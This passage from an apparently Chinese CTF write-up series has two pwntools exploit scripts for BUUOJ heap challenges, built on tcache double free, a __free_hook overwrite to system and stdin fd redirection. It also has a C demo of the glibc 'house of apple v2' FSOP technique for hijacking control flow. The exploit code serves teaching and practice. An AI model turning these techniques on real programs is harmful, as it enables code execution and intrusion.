7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
context.log_level = 'debug'

elf = ELF('./ciscn_2019_en_3')
# io = process(['glibc_run', '2.27', './ciscn_2019_en_3'])
io = remote('node5.buuoj.cn', 26164)

def get_process_pid(name):
pid_list = []
processes = os.popen('ps -ef | grep %s' % name)
process_info = processes.read()
for i in process_info.split('\n')[:-1]:
j = re.split(' +', i)
if j[7] == name:
pid_list.append(int(j[1]))
return pid_list[0]

def add(size, content):
io.sendlineafter(b'Input your choice:', b'1')
io.sendlineafter(b'Please input the size of story: \n', str(size).encode())
io.sendlineafter(b'please inpute the story: \n', content)

def delete(index):
io.sendlineafter(b'Input your choice:', b'4')
io.sendlineafter(b'Please input the index:\n', str(index).encode())

io.sendlineafter(b'What\'s your name?\n', b'%c%c%c%c%c%c%llx' + packing.p64(0) * 2) # 0x680
io.recv(6)
libc_base = int(io.recv(12).decode(), 16) - 0x3ec680
system = libc_base + 0x4f440
__malloc_hook = libc_base + 0x3ebc30
__free_hook = libc_base + 0x3ed8e8
realloc = libc_base + 0x98c30
# io.sendlineafter(b'ID.\n', b'flag')
print("libc_base: " + hex(libc_base))
for i in range(9):
add(0x60, b'a')
for i in range(7):
delete(i)
delete(7)
delete(8)
delete(7)
for i in range(7):
add(0x60, b'a')
one_gadgets = [0x4f2c5, 0x4f322, 0x10a38c]
add(0x60, packing.p64(__free_hook))
add(0x60, b'1')
add(0x60, b'1')
add(0x60, packing.p64(system))
# gdb.attach(get_process_pid('./ciscn_2019_en_3'))
# time.sleep(1)
add(0x60, b'/bin/sh\x00')
delete(20)

io.interactive()

buu109-picoctf_2018_buffer overflow 0

buu110-ciscn_2019_final_2

这是一道比较有意思的题。题目首先初始化过程中打开了flag文件,并将文件描述符设置为666。在本题中,经过理论分析发现,我们实际上可以直接获得shell,但出题人的本意显然不是这样。

由于glibc 2.27对于tcache double free的检查过于宽松,导致我们几乎可以无限制地在tcache上进行double free甚至多重free。因此在本题中,我们可以通过double free的方法释放出一个较大的可以被放入unsorted bin中的chunk,随后通过堆块重叠可将tcache指针修改到_IO_2_1_stdin_fd字段,将标准输入的文件描述符从0改成666,这样标准输入就相当于重定向到了flag文件中,不过需要注意的是,在主界面菜单选择中,题目使用的是read函数,还是直接从文件描述符0的真标准输入读取,但在bye_bye中的scanf就会使用_IO_2_1_stdin_中的文件描述符,因此最后退出会直接输出flag的内容。

利用流程如下图所示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *

elf = ELF('./ciscn_final_2')
# io = process(['glibc_run', '2.27', './ciscn_final_2'])
io = remote("node5.buuoj.cn", 27552)

def get_process_pid(name):
pid_list = []
processes = os.popen('ps -ef | grep %s' % name)
process_info = processes.read()
for i in process_info.split('\n')[:-1]:
j = re.split(' +', i)
if j[7] == name:
pid_list.append(int(j[1]))
return pid_list[0]

def add(kind, value):
io.sendlineafter(b'which command?\n> ', b'1')
io.sendlineafter(b'TYPE:\n1: int\n2: short int\n>', str(kind).encode())
io.sendlineafter(b'your inode number:', str(value).encode())

def delete(kind):
io.sendlineafter(b'which command?\n> ', b'2')
io.sendlineafter(b'TYPE:\n1: int\n2: short int\n>', str(kind).encode())

def show(kind):
io.sendlineafter(b'which command?\n> ', b'3')
io.sendlineafter(b'TYPE:\n1: int\n2: short int\n>', str(kind).encode())

def quit(content):
io.sendlineafter(b'which command?\n> ', b'4')
io.sendlineafter(b'what do you want to say at last? ', content)

add(1, 0x12345678)
delete(1)
add(2, 0x1234)
add(2, 0x1234)
add(2, 0x1234)
add(2, 0x1234)
add(2, 0x1234)
delete(2)
add(1, 0x12345678)
delete(2)
show(2)
io.recvuntil(b'your short type inode number :')
heap_lsw = int(io.recvuntil(b'\n', drop=True).decode(), 10)
if heap_lsw < 0:
heap_lsw += 65536
print(hex(heap_lsw))

add(2, heap_lsw - 0xC0)
delete(1)
add(2, 0x1234)
add(2, 0xB1)
delete(1)
for i in range(7):
add(2, 0x1234)
delete(1)

show(1)
io.recvuntil(b'your int type inode number :')
libc_base_lsdw = int(io.recvuntil(b'\n', drop=True).decode(), 10)
if libc_base_lsdw < 0:
libc_base_lsdw += 0x1_0000_0000
libc_base_lsdw -= 0x3ebca0
__free_hook = libc_base_lsdw + 0x3ed8e8
_IO_2_1_stdin_ = libc_base_lsdw + 0x3eba00
print(hex(libc_base_lsdw))

add(2, (_IO_2_1_stdin_ & 0xFFFF) + 112)
add(1, 0x12345678)
add(1, 666)

quit(b'')

# gdb.attach(get_process_pid("./ciscn_final_2"))
io.interactive()

house of apple v2与v1不同,可以直接控制程序执行流,获得shell。
主要参考资料:传送门

v2有多种程序执行路径,每一条执行路径对于伪造的FILE结构体、_wide_data结构体都有不同的要求。在学习本漏洞时要学会举一反三,只要了解了基本原理,这些路径实际上我们是可以自己推出来的。

小建议:读者可以使用IDA打开ubuntu 22.04本机的libc并保存i64文件,由于libc文件中保存的_IO_jump_t结构体中有很多函数都没有符号,因此在学习FSOP的过程中可以匹配_IO_jump_t结构体本身的名字以及其中含有的函数名,这样在下一次查看时就不需要再去推断某一个位置函数的名字了。musl libc同理。

后续笔者会将自己写的所有演示代码上传到github供各位读者学习。

头文件util.h:含说明文字的颜色输出、获取libc基地址等实用函数(后续可能会进一步完善,添加新的函数与功能)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
//
// Created by root on 23-3-16.
//

#ifndef MY_HOW2HEAP_UTIL_H
#define MY_HOW2HEAP_UTIL_H

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <sys/mman.h>

#define BLACK "30"
#define RED "31"
#define GREEN "32"
#define YELLOW "33"
#define BLUE "34"
#define PURPLE "35"
#define GREEN_DARK "36"
#define WHITE "37"

#define HIGHLIGHT_BLACK_HEAD "\033[1;30m"
#define HIGHLIGHT_RED_HEAD "\033[1;31m"
#define HIGHLIGHT_GREEN_HEAD "\033[1;32m"
#define HIGHLIGHT_YELLOW_HEAD "\033[1;33m"
#define HIGHLIGHT_BLUE_HEAD "\033[1;34m"
#define HIGHLIGHT_PURPLE_HEAD "\033[1;35m"
#define HIGHLIGHT_DARK_GREEN_HEAD "\033[1;36m"
#define HIGHLIGHT_WHITE_HEAD "\033[1;37m"

#define UNDEFINED "-"
#define HIGHLIGHT "1"
#define UNDERLINE "4"
#define SPARK "5"

#define STR_END "\033[0m"

size_t victim[0x20];

void printf_color(char* color, char* effect, char* string){
char buffer[0x1000] = {0};
strcpy(buffer, "\033[");
if(effect[0] != '-'){
strcat(buffer, effect);
strcat(buffer, ";");
}
strcat(buffer, color);
strcat(buffer, "m");
strcat(buffer, string);
printf("%s" STR_END, buffer);
}

void print_binary(char* buf, int length){
printf("---------------------------------------------------------------------------\n");
printf("Address info starting in %p:\n", buf);
int index = 0;
char output_buffer[80];
memset(output_buffer, '\0', 80);
memset(output_buffer, ' ', 0x10);
for(int i=0; i<(length % 16 == 0 ? length / 16 : length / 16 + 1); i++){
char temp_buffer[0x10];
memset(temp_buffer, '\0', 0x10);
sprintf(temp_buffer, "%#5x", index);
strcpy(output_buffer, temp_buffer);
output_buffer[5] = ' ';
output_buffer[6] = '|';
output_buffer[7] = ' ';
for(int j=0; j<16; j++){
if(index+j >= length)
sprintf(output_buffer+8+3*j, " ");
else{
sprintf(output_buffer+8+3*j, "%02x ", ((int)buf[index+j]) & 0xFF);
if(!isprint(buf[index+j]))
output_buffer[58+j] = '.';
else
output_buffer[58+j] = buf[index+j];
}
}
output_buffer[55] = ' ';
output_buffer[56] = '|';
output_buffer[57] = ' ';
printf("%s\n", output_buffer);
memset(output_buffer+58, '\0', 16);
index += 16;
}
printf("---------------------------------------------------------------------------\n");
}

size_t get_libc_base(){
return (size_t)puts - 0x80ED0;
}

#endif //MY_HOW2HEAP_UTIL_H

源文件house_of_apple_2.c:主要演示代码,通过修改宏定义可选择使用3条执行路径中的1条。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
//
// Created by root on 23-3-16.
//
#include "util.h"
#define exploit_mode 3

char* binsh = " sh";
char* binsh2 = "sh";

int main(){
printf_color(GREEN, UNDEFINED, "本程序用于演示house of apple v2利用方式。\n");
printf_color(YELLOW, HIGHLIGHT, "测试于ubuntu 22.04,glibc版本:Ubuntu GLIBC 2.35-0ubuntu3.1。\n");
printf_color(WHITE, HIGHLIGHT, "1. 原理介绍\n");
printf_color(GREEN, UNDEFINED, "与house of apple v1写堆地址不同,house of apple v2能够直接控制程序执行流。\n");
printf_color(GREEN, UNDEFINED, "v2的函数调用链的前半部分与v1是相同的,都是使用exit函数调用到_IO_flush_all_lockp。\n");
printf_color(GREEN, UNDEFINED, "再一次回顾_IO_flush_all_lockp这个函数的内容:\n\n");

printf_color(BLUE, HIGHLIGHT, "(/libio/genops.c, line 684)\n");
printf_color(PURPLE, HIGHLIGHT,
"int\n"
"_IO_flush_all_lockp (int do_lock)\n"
"{\n"
" int result = 0;\n"
" FILE *fp;\n"
"\n"
"#ifdef _IO_MTSAFE_IO\n"
" _IO_cleanup_region_start_noarg (flush_cleanup);\n"
" _IO_lock_lock (list_all_lock);\n"
"#endif\n"
"\n"
" \033[1;31mfor (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)\n"
" {\n"
" run_fp = fp;\n"
" if (do_lock)\n"
"\t_IO_flockfile (fp);\n"
"\n"
" if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)\n"
"\t || (_IO_vtable_offset (fp) == 0\n"
"\t && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr\n"
"\t\t\t\t > fp->_wide_data->_IO_write_base))\n"
"\t )\n"
"\t && _IO_OVERFLOW (fp, EOF) == EOF)\n"
"\tresult = EOF;\n"
"\n"
" if (do_lock)\n"
"\t_IO_funlockfile (fp);\n"
" run_fp = NULL;\n"
" }\n\033[1;" PURPLE "m"
"\n"
"#ifdef _IO_MTSAFE_IO\n"
" _IO_lock_unlock (list_all_lock);\n"
" _IO_cleanup_region_end (0);\n"
"#endif\n"
"\n"
" return result;\n"
"}\n\n");

printf_color(GREEN, UNDEFINED, "注意这里的_IO_OVERFLOW(),这实际上是一个宏定义,内容如下:");

printf_color(PURPLE, HIGHLIGHT,
"#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)\n"
"#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)\n"
"# define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))\n\n");

printf_color(GREEN, UNDEFINED, "其主要功能是调用_IO_FILE_plus_complete中的vtable中的OVERFLOW函数,这是一个函数指针。\n");
printf_color(GREEN, UNDEFINED, "可以注意到最终这里会调用IO_validate_vtable函数,这个函数是用于检测vtable的合法性的。\n");
printf_color(GREEN, UNDEFINED, "有这个函数做检查,我们自己伪造的vtable很难绕过,因为它会检查vtable的地址是否在libc统一保存vtable的地址块中。\n");
printf_color(GREEN, UNDEFINED, "而在house of apple v2中,我们使用的不是_IO_OVERFLOW,而是_IO_Wxxx,这是两类相似的函数。\n");
printf_color(GREEN, UNDEFINED, "以_IO_WDOALLOCATE为例:\n\n");

printf_color(BLUE, HIGHLIGHT, "(/libio/libioP.h)\n");
printf_color(PURPLE, HIGHLIGHT,
"#define _IO_WDOALLOCATE(FP) WJUMP0 (__doallocate, FP)\n"
"#define WJUMP0(FUNC, THIS) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS)\n"
"#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)\n"
"#define _IO_WIDE_JUMPS(THIS) \\\n"
" _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable\n\n");

printf_color(GREEN, UNDEFINED, "其中_IO_CAST_FIELD_ACCESS会直接取出对应的函数指针准备执行,因此可以看到这里就没有上面函数的检查。\n");
printf_color(GREEN, UNDEFINED, "它会执行_IO_FILE->_wide_data->_wide_vtable中的函数。因此v2与v1同样利用了_wide_data。\n");
printf_color(GREEN, UNDEFINED, "因此我们伪造_wide_data的_wide_vtable中的函数指针就可以达到控制函数执行流的目的。\n");
printf_color(YELLOW, HIGHLIGHT, "这也就能够解释为什么我们不能够直接伪造_IO_flush_all_lockp中处理的_IO_FILE结构体中的vtable指针。\n");
printf_color(YELLOW, HIGHLIGHT, "因为我们伪造的_IO_FILE无法通过vtable合法性检查。\n");
printf_color(YELLOW, HIGHLIGHT, "我们只能将vtable指针修改成libc中已有的其他vtable指针,这也是house of apple的关键步骤。\n\n");

printf_color(BLUE, HIGHLIGHT, "(/libio/libio.h, line 121)\n");
printf_color(PURPLE, HIGHLIGHT,
"struct _IO_wide_data\n"
"{\n"
" wchar_t *_IO_read_ptr;\t/* Current read pointer */\n"
" wchar_t *_IO_read_end;\t/* End of get area. */\n"
" wchar_t *_IO_read_base;\t/* Start of putback+get area. */\n"
" wchar_t *_IO_write_base;\t/* Start of put area. */\n"
" wchar_t *_IO_write_ptr;\t/* Current put pointer. */\n"
" wchar_t *_IO_write_end;\t/* End of put area. */\n"
" wchar_t *_IO_buf_base;\t/* Start of reserve area. */\n"
" wchar_t *_IO_buf_end;\t\t/* End of reserve area. */\n"
" /* The following fields are used to support backing up and undo. */\n"
" wchar_t *_IO_save_base;\t/* Pointer to start of non-current get area. */\n"
" wchar_t *_IO_backup_base;\t/* Pointer to first valid character of\n"
"\t\t\t\t backup area */\n"
" wchar_t *_IO_save_end;\t/* Pointer to end of non-current get area. */\n"
"\n"
" __mbstate_t _IO_state;\n"
" __mbstate_t _IO_last_state;\n"
" struct _IO_codecvt _codecvt;\n"
"\n"
" wchar_t _shortbuf[1];\n"
"\n"
" \033[1;31mconst struct _IO_jump_t *_wide_vtable;\n\033[1;" PURPLE "m"
"};\n\n");

printf_color(WHITE, HIGHLIGHT, "2. 几种利用方式介绍\n");
printf_color(GREEN, UNDEFINED, "经过上面的介绍,我们知道了house of apple v2的主要步骤:\n");
printf_color(YELLOW, UNDEFINED, "a. 修改_IO_flush_all_lockp中处理的_IO_FILE的vtable为已有vtable,伪造_wide_data->_wide_vtable指针。\n");
printf_color(YELLOW, UNDEFINED, "b. 调用该vtable后期望能够调用到_wide_data->_wide_vtable中的函数指针。\n");
printf_color(GREEN, UNDEFINED, "具体来看,有几条执行流能够让我们控制rip,下面就来一一介绍。\n");
printf_color(GREEN, UNDEFINED, "参考资料:https://bbs.kanxue.com/thread-273832.htm\n");

printf_color(GREEN, UNDEFINED, "不过无论是哪一条路线,都需要获得libc的基地址:");
size_t libc_base = get_libc_base();
printf("\033[1;31m%#zx\033[0m\n\n", libc_base);
printf_color(GREEN, UNDEFINED, "还有两个堆地址,一个保存fake FILE,一个保存fake _wide_data vtable:");
struct _IO_FILE* fake_FILE = (struct _IO_FILE*) malloc(0x400);
size_t* fake_vtable = (size_t*) malloc(0x100);
struct _IO_wide_data* fake_wide_data = (struct _IO_wide_data*)malloc(0x100);
printf("\033[1;31m%p\033[0m\n\n", fake_FILE);
size_t* _IO_list_all = (size_t*)(libc_base + 0x21A680);

printf_color(WHITE, HIGHLIGHT, "(1) _IO_wfile_overflow 路线\n");
printf_color(GREEN, UNDEFINED, "这个函数指的是第a步中期待从已有vtable跳入的函数,下同。\n");
printf_color(GREEN, UNDEFINED, "考虑到这个函数在不止一个vtable中都有出现,因此我们可以修改成多个vtable的值。\n");
printf_color(GREEN, UNDEFINED, "在/libio/wfileops.c中(line 1025, 1051, 1075)我们就能够找到3个vtable中包含该函数:\n");
printf_color(GREEN, UNDEFINED, "_IO_wfile_jumps、_IO_wfile_jumps_mmap、_IO_wfile_jumps_maybe_mmap。\n");
printf_color(GREEN, UNDEFINED, "我们只需要随便选择1个覆盖掉_IO_list_all的vtable即可。");
printf_color(GREEN, UNDEFINED, "在IDA中,我们只能找到_IO_wfile_jumps这个符号,地址为0x2160C0。\n");
printf_color(GREEN, UNDEFINED, "不过通过查看_IO_wfile_overflow函数的交叉引用,我们可以找到另外两个jumps的地址:0x215F40和0x216000。\n");
printf_color(GREEN, UNDEFINED, "为了演示需要,本程序不在原有stderr的情况下修改,而是直接修改_IO_list_all指针值为自己伪造的_IO_FILE。\n");

printf_color(GREEN, UNDEFINED, "首先介绍一下_IO_wfile_overflow函数的内容:\n\n");
printf_color(BLUE, HIGHLIGHT, "(/libio/wfileops.c, line 405)\n");
printf_color(PURPLE, HIGHLIGHT,
"wint_t\n"
"_IO_wfile_overflow (FILE *f, wint_t wch)\n"
"{\n"
" if (" HIGHLIGHT_RED_HEAD "f->_flags & _IO_NO_WRITES) " HIGHLIGHT_PURPLE_HEAD " /* SET ERROR, _IO_NO_WRITES = 8 */\n"
" {\n"
" f->_flags |= _IO_ERR_SEEN;\n"
" __set_errno (EBADF);\n"
" return WEOF;\n"
" }\n"
" /* If currently reading or no buffer allocated. */\n"
" if ( "HIGHLIGHT_GREEN_HEAD" (f->_flags & _IO_CURRENTLY_PUTTING) == 0"HIGHLIGHT_PURPLE_HEAD") // _IO_CURRENTLY_PUTTING = 0x800\n"
" {\n"
" /* Allocate a buffer if needed. */\n"
" if ("HIGHLIGHT_GREEN_HEAD"f->_wide_data->_IO_write_base == 0"HIGHLIGHT_PURPLE_HEAD")\n"
"\t{\n"
"\t " HIGHLIGHT_YELLOW_HEAD "_IO_wdoallocbuf (f);\n" HIGHLIGHT_PURPLE_HEAD
"\t _IO_free_wbackup_area (f);\n"
"\t _IO_wsetg (f, f->_wide_data->_IO_buf_base,\n"
"\t\t f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);\n"
"\n"
"\t if (f->_IO_write_base == NULL)\n"
"\t {\n"
"\t _IO_doallocbuf (f);\n"
"\t _IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);\n"
"\t }\n"
"\t}\n"
" else\n"
"\t{\n"
"\t /* Otherwise must be currently reading. If _IO_read_ptr\n"
"\t (and hence also _IO_read_end) is at the buffer end,\n"
"\t logically slide the buffer forwards one block (by setting\n"
"\t the read pointers to all point at the beginning of the\n"
"\t block). This makes room for subsequent output.\n"
"\t Otherwise, set the read pointers to _IO_read_end (leaving\n"
"\t that alone, so it can continue to correspond to the\n"
"\t external position). */\n"
"\t if (f->_wide_data->_IO_read_ptr == f->_wide_data->_IO_buf_end)\n"
"\t {\n"
"\t f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;\n"
"\t f->_wide_data->_IO_read_end = f->_wide_data->_IO_read_ptr =\n"
"\t\tf->_wide_data->_IO_buf_base;\n"
"\t }\n"
"\t}\n"
" f->_wide_data->_IO_write_ptr = f->_wide_data->_IO_read_ptr;\n"
" f->_wide_data->_IO_write_base = f->_wide_data->_IO_write_ptr;\n"
" f->_wide_data->_IO_write_end = f->_wide_data->_IO_buf_end;\n"
" f->_wide_data->_IO_read_base = f->_wide_data->_IO_read_ptr =\n"
"\tf->_wide_data->_IO_read_end;\n"
"\n"
" f->_IO_write_ptr = f->_IO_read_ptr;\n"
" f->_IO_write_base = f->_IO_write_ptr;\n"
" f->_IO_write_end = f->_IO_buf_end;\n"
" f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;\n"
"\n"
" f->_flags |= _IO_CURRENTLY_PUTTING;\n"
" if (f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))\n"
"\tf->_wide_data->_IO_write_end = f->_wide_data->_IO_write_ptr;\n"
" }\n"
" if (wch == WEOF)\n"
" return _IO_do_flush (f);\n"
" if (f->_wide_data->_IO_write_ptr == f->_wide_data->_IO_buf_end)\n"
" /* Buffer is really full */\n"
" if (_IO_do_flush (f) == EOF)\n"
" return WEOF;\n"
" *f->_wide_data->_IO_write_ptr++ = wch;\n"
" if ((f->_flags & _IO_UNBUFFERED)\n"
" || ((f->_flags & _IO_LINE_BUF) && wch == L'\\n'))\n"
" if (_IO_do_flush (f) == EOF)\n"
" return WEOF;\n"
" return wch;\n"
"}\n"
"libc_hidden_def (_IO_wfile_overflow)\n\n");

printf_color(GREEN, UNDEFINED, "我们要调用的是_IO_wallocatebuf函数:\n\n");

printf_color(BLUE, HIGHLIGHT, "(/libio/wgenops.c, line 363)\n");
printf_color(PURPLE, HIGHLIGHT,
"void\n"
"_IO_wdoallocbuf (FILE *fp)\n"
"{\n"
" if (" HIGHLIGHT_RED_HEAD "fp->_wide_data->_IO_buf_base)\n" HIGHLIGHT_PURPLE_HEAD
" return;\n"
" if (" HIGHLIGHT_GREEN_HEAD "!(fp->_flags & _IO_UNBUFFERED)" HIGHLIGHT_PURPLE_HEAD ") // _IO_UNBUFFERED == 0x2\n"
" if ((wint_t) " HIGHLIGHT_YELLOW_HEAD " _IO_WDOALLOCATE (fp) " HIGHLIGHT_PURPLE_HEAD " != WEOF)\n"
" return;\n"
" _IO_wsetb (fp, fp->_wide_data->_shortbuf,\n"
"\t\t fp->_wide_data->_shortbuf + 1, 0);\n"
"}\n"
"libc_hidden_def (_IO_wdoallocbuf)\n\n");

printf_color(GREEN, UNDEFINED, "这里的_IO_WDOALLOCATE也是一个宏定义,本质就是调用_wide_data中vtable表的函数指针。\n");
printf_color(GREEN, UNDEFINED, "而且_IO_Wxxx的宏定义函数调用没有检查,因此我们才能伪造这个函数指针。\n");
printf_color(GREEN, UNDEFINED, "可以看到这个函数指针的参数是FILE结构体本身,因此如果要在此调用system,需要在FILE开头写'/bin/sh'。\n\n");
printf_color(GREEN, HIGHLIGHT, "伪造FILE结构体与_wide_data的几条注意点:\n");
printf_color(YELLOW, HIGHLIGHT, "A. FILE->mode = 0 (_IO_flush_all_lockp 控制流判断条件)\n");
printf_color(YELLOW, HIGHLIGHT, "B. FILE->_IO_write_ptr > FILE->_IO_write_base (_IO_flush_all_lockp 控制流判断条件)\n");
printf_color(YELLOW, HIGHLIGHT, "C. FILE->_flags & 0x8 == 0 (_IO_wfile_overflow 控制流判断条件,注意_flags在FILE结构体最开头,与binsh字符串重合,因此不能直接写'/bin/sh',本程序写入的是' sh')\n");
printf_color(YELLOW, HIGHLIGHT, "D. FILE->_flags & 0x800 == 0 (_IO_wfile_overflow 控制流判断条件)\n");
printf_color(YELLOW, HIGHLIGHT, "E. FILE->_wode_data->_IO_write_base == 0 (_IO_wfile_overflow 控制流判断条件,_IO_write_base偏移0x18)\n");
printf_color(YELLOW, HIGHLIGHT, "F. FILE->_wide_data->_IO_buf_base == 0 (_IO_wdoallocbuf 控制流判断条件)\n");
printf_color(YELLOW, HIGHLIGHT, "G. FILE->_flags & 2 != 0 (_IO_wdoallocbuf 控制流判断条件)\n");
printf_color(YELLOW, HIGHLIGHT, "H. FILE->_wide_data->_wide_vtable + 0x68 == 要执行的代码地址 (ALLOCATE函数指针偏移0x68)\n\n");

printf_color(WHITE, HIGHLIGHT, "(2) _IO_wfile_underflow_mmap 路线\n");
printf_color(GREEN, UNDEFINED, "这个函数在IDA中原本是没有符号的,但通过对_IO_wdoallocbuf函数的引用分析可以定位其位置:0x860B0。\n");
printf_color(GREEN, UNDEFINED, "同时可以发现该函数只有1个已有的_IO_jump_t引用,偏移为0x216000 (_IO_wfile_jumps_mmap)。\n");
printf_color(GREEN, UNDEFINED, "看一下这个函数对我们的FILE结构体有什么要求。\n\n");

printf_color(BLUE, HIGHLIGHT, "(/libio/wfileops.c, line 331)\n");
printf_color(PURPLE, HIGHLIGHT,
"static wint_t\n"
"_IO_wfile_underflow_mmap (FILE *fp)\n"
"{\n"
" struct _IO_codecvt *cd;\n"
" const char *read_stop;\n"
"\n"
" if (" HIGHLIGHT_RED_HEAD "__glibc_unlikely (fp->_flags & _IO_NO_READS)" HIGHLIGHT_PURPLE_HEAD ") // _IO_NO_READS == 0x4\n"
" {\n"
" fp->_flags |= _IO_ERR_SEEN;\n"
" __set_errno (EBADF);\n"
" return WEOF;\n"
" }\n"
" if (" HIGHLIGHT_RED_HEAD "fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end" HIGHLIGHT_PURPLE_HEAD ")\n"
" return *fp->_wide_data->_IO_read_ptr;\n"
"\n"
" cd = fp->_codecvt;\n"
"\n"
" /* Maybe there is something left in the external buffer. */\n"
" if (" HIGHLIGHT_RED_HEAD "fp->_IO_read_ptr >= fp->_IO_read_end\n"
" /* No. But maybe the read buffer is not fully set up. */\n"
" && _IO_file_underflow_mmap (fp) == EOF" HIGHLIGHT_PURPLE_HEAD ")\n"
" /* Nothing available. _IO_file_underflow_mmap has set the EOF or error\n"
" flags as appropriate. */\n"
" return WEOF;\n"
"\n"
" /* There is more in the external. Convert it. */\n"
" read_stop = (const char *) fp->_IO_read_ptr;\n"
"\n"
" if (" HIGHLIGHT_GREEN_HEAD "fp->_wide_data->_IO_buf_base == NULL" HIGHLIGHT_PURPLE_HEAD ")\n"
" {\n"
" /* Maybe we already have a push back pointer. */\n"
" if (" HIGHLIGHT_RED_HEAD "fp->_wide_data->_IO_save_base != NULL" HIGHLIGHT_PURPLE_HEAD ")\n"
"\t{\n"
"\t free (fp->_wide_data->_IO_save_base);\n"
"\t fp->_flags &= ~_IO_IN_BACKUP;\n"
"\t}\n"
" " HIGHLIGHT_YELLOW_HEAD "_IO_wdoallocbuf (fp);\n" HIGHLIGHT_PURPLE_HEAD
" }\n"
"\n"
" fp->_wide_data->_IO_last_state = fp->_wide_data->_IO_state;\n"
" fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_read_ptr =\n"
" fp->_wide_data->_IO_buf_base;\n"
" __libio_codecvt_in (cd, &fp->_wide_data->_IO_state,\n"
"\t\t fp->_IO_read_ptr, fp->_IO_read_end,\n"
"\t\t &read_stop,\n"
"\t\t fp->_wide_data->_IO_read_ptr,\n"
"\t\t fp->_wide_data->_IO_buf_end,\n"
"\t\t &fp->_wide_data->_IO_read_end);\n"
"\n"
" fp->_IO_read_ptr = (char *) read_stop;\n"
"\n"
" /* If we managed to generate some text return the next character. */\n"
" if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)\n"
" return *fp->_wide_data->_IO_read_ptr;\n"
"\n"
" /* There is some garbage at the end of the file. */\n"
" __set_errno (EILSEQ);\n"
" fp->_flags |= _IO_ERR_SEEN;\n"
" return WEOF;\n"
"}\n"
"\n"
"static wint_t\n"
"_IO_wfile_underflow_maybe_mmap (FILE *fp)\n"
"{\n"
" /* This is the first read attempt. Doing the underflow will choose mmap\n"
" or vanilla operations and then punt to the chosen underflow routine.\n"
" Then we can punt to ours. */\n"
" if (_IO_file_underflow_maybe_mmap (fp) == EOF)\n"
" return WEOF;\n"
"\n"
" return _IO_WUNDERFLOW (fp);\n"
"}\n\n");

printf_color(GREEN, UNDEFINED, "其中也调用了_IO_wdoallocbuf函数。\n");
printf_color(GREEN, UNDEFINED, "因此这条路径的限制条件为:\n");
printf_color(YELLOW, HIGHLIGHT, "A. FILE->mode = 0 (_IO_flush_all_lockp 控制流判断条件)\n");
printf_color(YELLOW, HIGHLIGHT, "B. FILE->_IO_write_ptr > FILE->_IO_write_base (_IO_flush_all_lockp 控制流判断条件)\n");
